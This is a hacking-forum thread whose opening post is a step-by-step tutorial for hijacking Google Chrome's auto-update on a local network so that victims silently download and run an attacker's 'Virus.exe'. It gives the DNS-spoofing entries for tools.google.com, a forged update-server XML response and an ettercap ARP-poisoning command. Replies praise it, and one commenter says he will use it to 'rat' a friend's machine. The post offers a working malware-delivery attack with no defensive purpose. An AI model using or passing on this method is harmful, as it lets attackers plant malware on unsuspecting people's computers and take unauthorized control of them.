[KILLM3]

WARNING: This is not a spoonfed tutorial. If you are looking for an easy, automated way to do this, look elsewhere.

Suggested requirements:
Apache and ettercap OR Backtrack

Givens:
IP 111.111.111.111 is YOU
IP 222.222.222.22X are the victims

Let's begin:
Google Chrome has a great little auto-update feature that runs every 15 minutes or so and downloads and runs an update [EXE]. By tricking the victim's computer into thinking, you are the update server, you can make anyone running GC on your network run your EXE silently.

Let's start off with the basic background knowledge.

We're going to need to DNS poison the network and tell them that you are the update server.

(Please note, commands are done as if running backtrack)

Code

find etter.dns

Copy the path to etter.dns and then

Code

nano /path/to/etter.dns

You will be presented with the edittable DNS file.
You want to add an entry of

Code

"tools.google.com A 111.111.111.111
*tools.google.com A 111.111.111.111
www.tools.google.com A 111.111.111.111

CTRL + X and save that shit.

Now, lets set up our server to server Virus.exe:
Direct all requests to your server to the following XML document we will make.
(For more info on the XML format, see Google's Omaha Server Protocol v3)

First we need to gather our info.
Are we hitting 32-bit chrome, or 64-bit?
For this example I'll be doing 64-bit, but you can easily grab the ID for 32-bit with Wireshark.

64-bit means that
appid="4DC8B4CA-1DBA-483E-B5FA-D3C12E15B62D"

Now, we have our Virus.exe
Take the Sha-1(base-64) hash of the Virus.exe
EX:VXriGUVI0TNqfLlU02vBel4Q3Zo=

Then we craft our XML to serve:

Code

<?xml version="1.0" encoding="UTF-8"?>
<response protocol="3.0" server="prod">
  <daystart elapsed_seconds="56508"/>
  <app appid="{4DC8B4CA-1DBA-483E-B5FA-D3C12E15B62D}" status="ok">
    <updatecheck status="ok">
  <urls>
  <url codebase="111.111.111.111"/>
  </urls>
  <packages>
    <package hash="VXriGUVI0TNqfLlU02vBel4Q3Zo=" name="Virus.exe" required="true" size="2983"/>
  </packages>
  <actions>
    <action arguments="" event="install" run="Virus.exe"/>
  </actions>
  </manifest>
    </updatecheck>
    <ping status="ok"/>
  </app>
</response>

Host the XML in the root of your server along with Virus.exe

Then open ettercap and

Code

ettercap -T -q -i wlan0 -P dns_spoof -M arp // //

And now anytime GC goes to update, it will grab your virus instead of the actual update.

[zetza]

Thanks for posting this, I don't need it, but I some people who might feel this handy :)

Thanks!

[Anag0n]

I dont understand where to put the command find etter.dns.. You write that it's done as using backtrack, but what do you exactly mean? Is it like writing it in the terminal or ? Else a really nice tutorial and a good discovery :)!

[Fatty™]

Great tutorial man, Will try this tonight. Cheers.

[BanTeR]

Nice tutorial bro I dont have backtrack but looks legit

[Sought]

This is a very well spoken article thanks it could come in useful.

[Cletus]

Great thread bro, very useful.
Definitely getting a 5 star.

[Crenellations]

Will this work with an ethernet connection to the network?

I guess I am just unsure...are we changing a local file on each computer in the network or does the router hold this file somehow..?

[badwayz]

Nice, shame most use IE, and those who do are easy to manipulate lol

thanks

[‌‌O‌‌liver]

Wow, this is a good find, thanks for sharing ;)

[Whiteh4t]

Nice tut. but you could use cain if your on windows and just host a java drive by.

[n00b.ca]

Another great tutorial, thanks! Looking forward to more.

[aries93]

thanks for this maybe now i can get my friend ratted as he always plays pranks on me and i cant get onto his machine :D

[Unacknowledged]

Very nice tutorial, bookmarking it for future reference.

[EmperorDAZ]

Very nice tutorial indeed. Thanks for sharing, bookmarking it right now.